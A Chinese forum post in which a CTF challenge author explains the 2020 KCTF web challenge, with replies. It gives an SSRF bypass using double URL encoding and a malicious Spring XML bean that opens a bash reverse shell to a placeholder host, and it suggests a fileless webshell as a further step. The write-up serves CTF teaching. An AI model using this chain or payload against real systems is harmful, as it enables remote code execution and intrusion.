首页
社区
课程
招聘
[原创]第一题 至暗时刻 2020 KCTF-WEB 设计思路
2020-11-16 21:16 3979

[原创]第一题 至暗时刻 2020 KCTF-WEB 设计思路

2020-11-16 21:16
3979

本文查看源码可发现两个关键的链接,其中一个是

http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg

直接打开该链接显示出了图片的源码,很容易想到的是ssrf漏洞,或者任意文件下载?

但是修改http://121.36.145.157:8088/getimage?url=https://www.baidu.com

明显是需要绕过上面的常用作限制域名的正则表达式

我们再看第二个链接

http://121.36.145.157:8088/loadConfig?url=x.xml


IP不被允许,这种配置文件猜测可能只允许本地iP访问

那么结合两个链接,猜测是需要绕过第一个SSRF的限制访问127.0.0.1,然后加载第二个链接就像这样


http://121.36.145.157:8088/getimage?url=http://127.0.0.1:8088/loadConfig?url=x.xml


那么我们怎么绕过第一个正则执行SSRF呢?

这里需要用到httpclient3的一个小BUG吧,暂且算BUG吧,就是在解析URL的时候对URL编码的处理上的问题

关于这个我之前在知识星球上有发过,只是不知道看到的人有多少。

https://t.zsxq.com/AYVzbYF

最终结果就是

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=x.xml


文件当然是不存在的,这里不要想当然的认为这是一个任意文件读取,注意看报错的最后的语句

看到FileSystemXmlApplicationContext是不是很熟悉,记得去年weblogic有个漏洞的绕过就是利用了这个函数,加载了远程的恶意xml配置文件,导致

反射代码执行。因此可以构造如下远程XML


<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb1" class="java.lang.ProcessBuilder" init-method="start">   
 <constructor-arg>      
 <list>       
  <value>/bin/bash</value>
  <value>-c</value> 
  <value><![CDATA[bash -i >& /dev/tcp/x.x.x.x/8080 0>&1]]></value>    
 </list> 
 </constructor-arg>
 </bean>
</beans>

访问:

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxx.com/x.xml

反弹shell


然后在home目录下找到springboot的jar包,想办法下载回来,反编译即可得到flag.txt


当然题目到这里就完成了,我提一个更加有挑战的事情,就是如何在这样的情况下拿到webshell

因为如果我把flag放到数据库里面,没有webshell还是很难搞的,或者直接禁用系统命令的调用,这时候是不得不拿webshell的

这里需要解决两个问题

1、xml配置文件如何执行任意代码

2、springboot无文件落地webshell

既然大家已经得到了springboot的jar包,自己部署起来测测看吧!当然是能做到的


加油……


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-11-19 14:53 被kanxue编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (3)
雪    币: 638
活跃值: (795)
能力值: ( LV6,RANK:93 )
在线值:
发帖
回帖
粉丝
香草0x00 2020-11-19 23:38
2
0


为了方便 没有加星球的同学 http://xcao.vip/file/httpclient.pdf

雪    币: 16
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wrong-123 2020-11-20 18:50
3
0
我问下,我做的时候,到利用weblogic的漏洞哪里,我用的一样的poc.xml,返回的是FreeMarker template error...,这是正常的吗?
雪    币: 638
活跃值: (795)
能力值: ( LV6,RANK:93 )
在线值:
发帖
回帖
粉丝
香草0x00 2020-11-23 15:48
4
0
wrong-123 我问下,我做的时候,到利用weblogic的漏洞哪里,我用的一样的poc.xml,返回的是FreeMarker template error...,这是正常的吗?
返回错误不影响,但是命令执行了
游客
登录 | 注册 方可回帖
返回